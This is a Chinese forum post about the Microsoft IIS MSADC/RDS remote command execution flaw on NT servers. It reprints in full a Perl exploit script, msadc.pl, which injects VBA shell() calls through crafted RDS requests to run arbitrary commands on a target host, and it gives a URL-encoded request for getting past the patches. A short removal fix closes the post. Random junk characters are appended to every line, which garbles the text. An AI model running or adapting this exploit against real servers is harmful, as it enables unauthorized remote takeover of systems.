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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) fDD^?/^  
KqhE=2,  
涉及程序: i_<GSUTTr/  
Microsoft NT server vg;9"A!(  
'74*-yd  
描述: *)u%KYGr  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 p%ZOLoc)Y  
5BRZpCb  
详细: ' |Ia-RbX  
如果你没有时间读详细内容的话,就删除: Pof]9qE-y  
c:\Program Files\Common Files\System\Msadc\msadcs.dll }LTyXo  
有关的安全问题就没有了。 'M!*Ge  
$WICyI{$  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ;&i4QAo-  
ki=]#]rg  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 fZka$ 4  
关于利用ODBC远程漏洞的描述,请参看: h= Mmd  
C=,O'U(ep  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm m[8?d~  
oj%(@6L  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 (F=q/lK$  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp K$kI%eGZA  
dk>qTY+j5  
这里不再论述。 `*-rz<G  
_oAWj]~rO  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: %D6HY^]ayw  
E@[ZwTnJ  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset h"ZR`?h  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! L)yc_ d5  
!}I+)@~\w  
-?vII~a9y  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ]Mb:zs<r  
 SodYb  
#!perl U#>K(  
# tLSM]Q  
# MSADC/RDS 'usage' (aka exploit) script :TkR]bhm  
# C2(VYw  
# by rain.forest.puppy fq4[/%6,O  
# JS2h/Y$  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me y*H rv  
# beta test and find errors! HVH<S  
k.<OO  
use Socket; use Getopt::Std; S2<evs1d  
getopts("e:vd:h:XR", \%args); &MJ cLM]  
'1vm]+oM  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Q|7l!YTzVu  
0f9*=c  
if (!defined $args{h} && !defined $args{R}) { F~;UD<<"H  
print qq~ /v8yE9N_  
Usage: msadc.pl -h <host> { -d <delay> -X -v } SbK6o:[  
-h <host> = host you want to scan (ip or domain) =QS%D*.|D  
-d <seconds> = delay between calls, default 1 second "(+p1  
-X = dump Index Server path table, if available IrMxdF~c  
-v = verbose D*}_L   
-e = external dictionary file for step 5 7 V3r!y  
lOEB ,/P  
Or a -R will resume a command session *|Bt!  
n7VQi+i'  
~; exit;} Z# o;H$  
8Os: SC@Q  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Aq;WQyZ2  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 'y%*W:O  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} sg%Ptp  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); "|nh=!L  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ( 8Q*NZ  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Zonr/sA~  
d*R('0z{  
if (!defined $args{R}){ $ret = &has_msadc; @XQItc<  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ;i-<dAV8B  
^u-;VoK  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" > JP}OS  
. "cmd /c "; ~%?LFR'  
$in=<STDIN>; chomp $in; 'Rq2x-72}  
$command="cmd /c " . $in ; lQKq{WLFx.  
WY$c^av<  
if (defined $args{R}) {&load; exit;} h[>Puoz  
?.Lq`~T`  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; }s@vN8C  
&try_btcustmr; F2!]T=  
;!pSYcT,  
print "\nStep 2: Trying to make our own DSN..."; 4_W*LG~2s  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; g]Z@_  
6H ^=\  
print "\nStep 3: Trying known DSNs..."; OJT%?P%@{  
&known_dsn; t{Wu5<F:  
)NmYgd~%  
print "\nStep 4: Trying known .mdbs..."; K;lxPM]  
&known_mdb; f^|r*@o  
j]'ybpMT"  
if (defined $args{e}){ xz3|m _)  
print "\nStep 5: Trying dictionary of DSN names..."; H:]'r5sw  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } fb?YDM  
'cPE7uNT  
print "Sorry Charley...maybe next time?\n"; !EOYqD  
exit; @&f~#Xe  
E-v^eMWX  
############################################################################## Jxsch\  
|Ng}ZLBM  
sub sendraw { # ripped and modded from whisker RC~C}  
sleep($delay); # it's a DoS on the server! At least on mine... kzmw1*J  
my ($pstr)=@_; ,b9!\OWDF  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || =^mBj?(V7  
die("Socket problems\n"); D9%t67s  
if(connect(S,pack "SnA4x8",2,80,$target)){ )QW p[bV  
select(S); $|=1; d8J(~$tXQN  
print $pstr; my @in=<S>; Qb#iT}!p%  
select(STDOUT); close(S); vVf%wei^#  
return @in; TpRI+*\  
} else { die("Can't connect...\n"); }} dh V6r  
~S~4pK  
############################################################################## h ;1D T  
S!8q>d,%L  
sub make_header { # make the HTTP request UTVqoCHA  
my $msadc=<<EOT UO4z~  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 W%@0Ym `7  
User-Agent: ACTIVEDATA )St`}qu;  
Host: $ip "@UyUL  
Content-Length: $clen k{J\)z  
Connection: Keep-Alive cv"Bhql  
JQDS3v=1$  
ADCClientVersion:01.06 go?}M]c%7  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 \[L|  
?fX`z(Z  
--!ADM!ROX!YOUR!WORLD! 8fA8@O}  
Content-Type: application/x-varg @Px_\w  
Content-Length: $reqlen  :X 9_~  
$f AZ^   
EOT :aR_f`KMm  
; $msadc=~s/\n/\r\n/g; AHet,N  
return $msadc;} -=GmI1:=$4  
@umn#*  
############################################################################## e'2w-^7  
*T2kxN,Ik  
sub make_req { # make the RDS request 09J,!NN  
my ($switch, $p1, $p2)=@_; t/J|<Ooj?  
my $req=""; my $t1, $t2, $query, $dsn; r#NR3_@9  
uJU;C.LX  
if ($switch==1){ # this is the btcustmr.mdb query +Uxt xl'  
$query="Select * from Customers where City=" . make_shell(); ;N^4R$Q.  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . thSXri?kl  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} YP73  
Y2W{?<99  
elsif ($switch==2){ # this is general make table query #B5-3CwB  
$query="create table AZZ (B int, C varchar(10))"; 1AQ3<  
$dsn="$p1";} I]Ws   
9#1Jie$  
elsif ($switch==3){ # this is general exploit table query juB/?'$~  
$query="select * from AZZ where C=" . make_shell(); SI/3Dz[  
$dsn="$p1";} E=]$nE]b  
B pp(5  
elsif ($switch==4){ # attempt to hork file info from index server +pxtar  
$query="select path from scope()"; x.>&|Ej  
$dsn="Provider=MSIDXS;";} ^%NjdZuDO  
nU/x,W[}  
elsif ($switch==5){ # bad query |?\2F   
$query="select"; H8h,JBg5<F  
$dsn="$p1";} uQ3W =  
VEx )  
$t1= make_unicode($query); 8Ud.}< Zi  
$t2= make_unicode($dsn); y4,t=Gq7^  
$req = "\x02\x00\x03\x00"; GpXU&A'r  
$req.= "\x08\x00" . pack ("S1", length($t1)); zU";\);  
$req.= "\x00\x00" . $t1 ; %Mf3OtPiJW  
$req.= "\x08\x00" . pack ("S1", length($t2)); &W%fsy<  
$req.= "\x00\x00" . $t2 ; y$+_9VzYB  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ~;@\9oPpz%  
return $req;} rTzXRMv@o  
QeQxz1  
############################################################################## T1c& 3  
GRAPv|u9[  
sub make_shell { # this makes the shell() statement D<lVWP  
return "'|shell(\"$command\")|'";} :oytJhxU  
&:#"APX  
############################################################################## ,e{1l   
WD|pG;Gq  
sub make_unicode { # quick little function to convert to unicode X4/3vY  
my ($in)=@_; my $out; 4o kZ  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } %";ap8J04F  
return $out;} N3ccn  
y6&o+;I$[  
############################################################################## gM&4Ur  
9PG3cCr?  
sub rdo_success { # checks for RDO return success (this is kludge) },,K6*P  
my (@in) = @_; my $base=content_start(@in); @Uqcym.  
if($in[$base]=~/multipart\/mixed/){ NW~`oc)NS  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} scyv]5Hm!  
return 0;} ! _?#f|  
u(~(+1W  
############################################################################## p{;FO?  
; g\r Y  
sub make_dsn { # this makes a DSN for us {i)FDdDGD  
my @drives=("c","d","e","f"); ~Hvf"bvK|  
print "\nMaking DSN: "; K QCF "  
foreach $drive (@drives) { */j[n$K>~`  
print "$drive: "; 7@Xi*Azd  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . JPq' C$  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" "LM[WcDX  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); `FByME  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; bf/z T0  
return 0 if $2 eq "404"; # not found/doesn't exist Xbc:Vr  
if($2 eq "200") { =W"9a\m  
foreach $line (@results) { cD9.L  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} qjH/E6GGg  
} return 0;}  ?S'Wd=  
\;0UP+  
############################################################################## rhC x&L  
2[1lwV  
sub verify_exists { 0>yu Bgh  
my ($page)=@_; w%~Mg3|  
my @results=sendraw("GET $page HTTP/1.0\n\n"); -NUA  
return $results[0];} in2m/q?  
DYTC2  
############################################################################## <1E5[9 q  
"T.Qb/97@  
sub try_btcustmr { @UW*o&pGqL  
my @drives=("c","d","e","f"); ( #rhD}  
my @dirs=("winnt","winnt35","winnt351","win","windows"); U?j[ 8z  
>uwd3XW5  
foreach $dir (@dirs) { 3u4P [   
print "$dir -> "; # fun status so you can see progress qTV.DCP  
foreach $drive (@drives) { zRgl`zREr  
print "$drive: "; # ditto Z(BZG O<  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; M! uE#|  
$reqlenlen=length( "$reqlen" ); lGX8kAv?  
$clen= 206 + $reqlenlen + $reqlen; K*N8Vpz(  
#4F0o@Z  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ]EEac  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} &J,&>CFc  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} `A$zLqz)Vm  
P.kf|,8 L  
############################################################################## v(^;%  
&W N R{  
sub odbc_error { gCM(h[7A  
my (@in)=@_; my $base; YRU#/TP  
my $base = content_start(@in); te&p1F  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this TchByN6oN<  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; |qtZb}"|  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; %] !xr6d  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 9O-*iK  
return $in[$base+4].$in[$base+5].$in[$base+6];} Rzxkz  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; \+)AQ!E  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . x%55:8{  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} tF!-}{c"k  
S=3H.D!f  
############################################################################## ,m;G:3}48  
E*8 3N@i  
sub verbose { sLW e \o  
my ($in)=@_; _q`f5*Z[  
return if !$verbose; JjQ9AJ?-V  
print STDOUT "\n$in\n";} (w?W=guHu  
zI'c'X1,  
############################################################################## 92Rm{n   
[[KIuW~ot  
sub save { |L~RC  
my ($p1, $p2, $p3, $p4)=@_; =8E GB\P  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; .gA4gI1kH  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 7 '{wl,u  
close OUT;} cTL W}4m%g  
^']*UD;  
############################################################################## td|O#R  
8:jakOeT  
sub load { bP{uZnOM2P  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ~4M?[E&  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); z`Xc] cPi  
@p=<IN>; close(IN); _OJ19Ry  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 0-8'. C1v  
$target= inet_aton($ip) || die("inet_aton problems"); TFtD>q X  
print "Resuming to $ip ..."; R^Y _i  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; |4F'Zu}g>  
if($p[1]==1) { |/;X -+f8  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; "PC9[i  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 77;|PKE /  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); "^5%g%  
if (rdo_success(@results)){print "Success!\n";} @T~~aQFk  
else { print "failed\n"; verbose(odbc_error(@results));}} r8Z} mvLM  
elsif ($p[1]==3){ 'Jl73#3  
if(run_query("$p[3]")){ t#=FFQOt  
print "Success!\n";} else { print "failed\n"; }} d.p%jVO)"  
elsif ($p[1]==4){ E~1"Nh  
if(run_query($drvst . "$p[3]")){ cB}6{c$_sW  
print "Success!\n"; } else { print "failed\n"; }} H`NT`BE  
exit;} 6='x}Qb\H  
#)( D_*  
############################################################################## \(ju0qFqH  
9^^:Y3j  
sub create_table { qfyuq]  
my ($in)=@_; _hi8m o  
$reqlen=length( make_req(2,$in,"") ) - 28; ^q/_D%]C  
$reqlenlen=length( "$reqlen" ); N6!$V7oT  
$clen= 206 + $reqlenlen + $reqlen; }RZN3U=  
my @results=sendraw(make_header() . make_req(2,$in,"")); "SU O2-Gj  
return 1 if rdo_success(@results); W_h!Puj_  
my $temp= odbc_error(@results); verbose($temp); VHx:3G  
return 1 if $temp=~/Table 'AZZ' already exists/; yQqu Gu  
return 0;} >?GCH(eW%  
io*iA<@Gx  
############################################################################## Dh .<&ri   
1D)=q^\I  
sub known_dsn { ?Z"<&tsZ  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go r $&WwH2^  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", VZr AZV^c  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", WS 1#i\0  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); IeGVLC  
2g%p9-MO]I  
foreach $dSn (@dsns) {  $ 1v'CT  
print "."; "%K[kA6  
next if (!is_access("DSN=$dSn")); FuFA/R=x/  
if(create_table("DSN=$dSn")){ 9v(k<('_  
print "$dSn successful\n"; zl@hg<n  
if(run_query("DSN=$dSn")){ "[\),7&03  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { I=K|1  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 6|]e}I@<2  
"j?\Ze*  
############################################################################## N6%M+R/Q  
1g_Dkv|D  
sub is_access { i" >kF@]c8  
my ($in)=@_; j~k+d$a  
$reqlen=length( make_req(5,$in,"") ) - 28; v42Z&PO   
$reqlenlen=length( "$reqlen" ); L'<.#(|  
$clen= 206 + $reqlenlen + $reqlen; GaLQ/V2R  
my @results=sendraw(make_header() . make_req(5,$in,"")); I'%ASZ  
my $temp= odbc_error(@results); S/xCX!  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); a,KqTQB  
return 0;} b1-'q^M  
0v'!(&m  
############################################################################## [PL]!\NJ  
YH'j"|{  
sub run_query { ;BYv&(#u1q  
my ($in)=@_; o/mGd~  
$reqlen=length( make_req(3,$in,"") ) - 28; #iP5@:!Wm~  
$reqlenlen=length( "$reqlen" ); KU (g Zy  
$clen= 206 + $reqlenlen + $reqlen; yo_;j@BGR  
my @results=sendraw(make_header() . make_req(3,$in,""));  4,?ZNyl  
return 1 if rdo_success(@results); x4;ndck%U  
my $temp= odbc_error(@results); verbose($temp); *&~wl(+O=  
return 0;} < /9@RO  
0i/!nke.  
############################################################################## {Zrf>ST  
Gw?$.@L'I6  
sub known_mdb { e6uVUzP4  
my @drives=("c","d","e","f","g"); ^ /7L(  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ~?uch8H  
my $dir, $drive, $mdb; U$ 22r b  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Yo[Pu< zR  
 g\=e86  
# this is sparse, because I don't know of many L~ e{Vv8UR  
my @sysmdbs=( "\\catroot\\icatalog.mdb", E  *{_=pX  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", T{zz3@2?  
"\\system32\\certmdb.mdb", do=s=&T  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% QW_W5|_  
esK0H<]  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", $gysy!2}.  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 29r(Y  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", wv&#lM(  
"\\cfusion\\cfapps\\security\\realm_.mdb", CC.ri3+.  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", tzdh3\6F  
"\\cfusion\\database\\cfexamples.mdb", y(*#0fJrTV  
"\\cfusion\\database\\cfsnippets.mdb", w}r~Wk^dLI  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", zM!2JC  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", )m.U"giG++  
"\\cfusion\\brighttiger\\database\\cleam.mdb", Wd]MwDcO  
"\\cfusion\\database\\smpolicy.mdb", T9&bY>f?  
"\\cfusion\\database\cypress.mdb", 1cY,)Z%l #  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", .Fm@OQr  
"\\website\\cgi-win\\dbsample.mdb", iBaz1pDc  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", K5EU?J&  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" eGQ -Ht,N  
); #these are just m$}Jw<.W  
foreach $drive (@drives) { 1 JB~G7  
foreach $dir (@dirs){ pW1(1M)[%Z  
foreach $mdb (@sysmdbs) { Ym$=^f]-  
print "."; POt 8G  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ,8Q&X~$rY  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 40Hm+Ge  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ mk]8}+^.  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; > ,;<Bz|X  
} else { print "Something's borked. Use verbose next time\n"; }}}}} C] >?YR4  
j-9Zzgr  
foreach $drive (@drives) { a/dq+  
foreach $mdb (@mdbs) { se&Q\!&M  
print "."; p~f=0K  
if(create_table($drv . $drive . $dir . $mdb)){ XWv;l)  
print "\n" . $drive . $dir . $mdb . " successful\n"; .vWwYG  
if(run_query($drv . $drive . $dir . $mdb)){ 5Sz}gP('  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;  95l)w  
} else { print "Something's borked. Use verbose next time\n"; }}}} gt)wk93d>  
} WWG+0jQ9  
dBEm7.nh  
############################################################################## !?5YXI,  
M}x]\#MMY  
sub hork_idx { @"__2\ 0  
print "\nAttempting to dump Index Server tables...\n"; R(on[g_1  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ,f^ ICM  
$reqlen=length( make_req(4,"","") ) - 28; rWNywxnT  
$reqlenlen=length( "$reqlen" ); osZ] R  
$clen= 206 + $reqlenlen + $reqlen; Lf+"Gp  
my @results=sendraw2(make_header() . make_req(4,"","")); B\Uocn  
if (rdo_success(@results)){ lL"ANlX-P  
my $max=@results; my $c; my %d; ki'CW4x  
for($c=19; $c<$max; $c++){ !8OgaMngzF  
$results[$c]=~s/\x00//g; }) Zcw1g  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; &AP`k  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; *I9O+/,  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; dq^vK  
$d{"$1$2"}="";} +a0` ,Jc  
foreach $c (keys %d){ print "$c\n"; } *=zv:!  
} else {print "Index server doesn't seem to be installed.\n"; }} jzd)jJ0M  
,yH\nqEz  
############################################################################## 'T(@5%Db  
!Z<=PdI1Ys  
sub dsn_dict { i6)HC  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); {B[ }}wX$  
while(<IN>){ Nx=rw h  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; x4-_K%  
next if (!is_access("DSN=$dSn")); ~Aw.=Yi=  
if(create_table("DSN=$dSn")){ f[wxt n'r  
print "$dSn successful\n"; 6os{q`/Q])  
if(run_query("DSN=$dSn")){ ($'5xPb  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ]-cSTtO  
print "Something's borked. Use verbose next time\n";}}} DIF-%X5  
print "\n"; close(IN);} !!d?o  
?}"39n  
############################################################################## T( fcE  
~|( eh9  
sub sendraw2 { # ripped and modded from whisker FwUgMR*xq  
sleep($delay); # it's a DoS on the server! At least on mine... `T3B  
my ($pstr)=@_; vp(ow]Q  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Ticx]_+~T  
die("Socket problems\n"); bW^C30m  
if(connect(S,pack "SnA4x8",2,80,$target)){ {BzE  
print "Connected. Getting data"; 0sI7UK`m  
open(OUT,">raw.out"); my @in; FaQc@4%o  
select(S); $|=1; print $pstr; uYC1}Y5N  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} _ o.j({S  
close(OUT); select(STDOUT); close(S); return @in; '8=/v*j>?  
} else { die("Can't connect...\n"); }} q5{h@}|M  
.I.B,wH8  
############################################################################## 2]=`^rC*  
n+S&[Y  
sub content_start { # this will take in the server headers `#"xgOSP>  
my (@in)=@_; my $c; v?0F  
for ($c=1;$c<500;$c++) { ?z&5g-/b  
if($in[$c] =~/^\x0d\x0a/){ Z):Nd9  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } }CL7h;5N 3  
else { return $c+1; }}} oS^KC}X  
return -1;} # it should never get here actually |=AaGJx  
F}?4h Dt  
############################################################################## n j2=}6  
-ARks_\  
sub funky { i!)\m0Wm  
my (@in)=@_; my $error=odbc_error(@in); oI-,6G}  
if($error=~/ADO could not find the specified provider/){ ($-m}UF\/  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 2P ^x'I  
exit;} iFnD`l 6)  
if($error=~/A Handler is required/){ BhhFij4  
print "\nServer has custom handler filters (they most likely are patched)\n"; &%m%b5  
exit;} es<8"CcP  
if($error=~/specified Handler has denied Access/){ :l&Yq!5  
print "\nServer has custom handler filters (they most likely are patched)\n"; SG]Sx4fg,Y  
exit;}} psUT2  
\,pObWm  
############################################################################## 'qJ0338d#U  
\rd%$hci  
sub has_msadc { e~7FK_y#0  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); r1:CHIwK  
my $base=content_start(@results); j4I ~  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 3OFI> x,h  
return 0;} ")<5 VtV  
54=*vokX_  
######################## inh J|pe"  
$O%"[w  
sou~m,#  
解决方案: SDB \6[D  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll O]' 2<;  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 `]^W#6l  
b~r:<:;  
拿出来充数 哈哈
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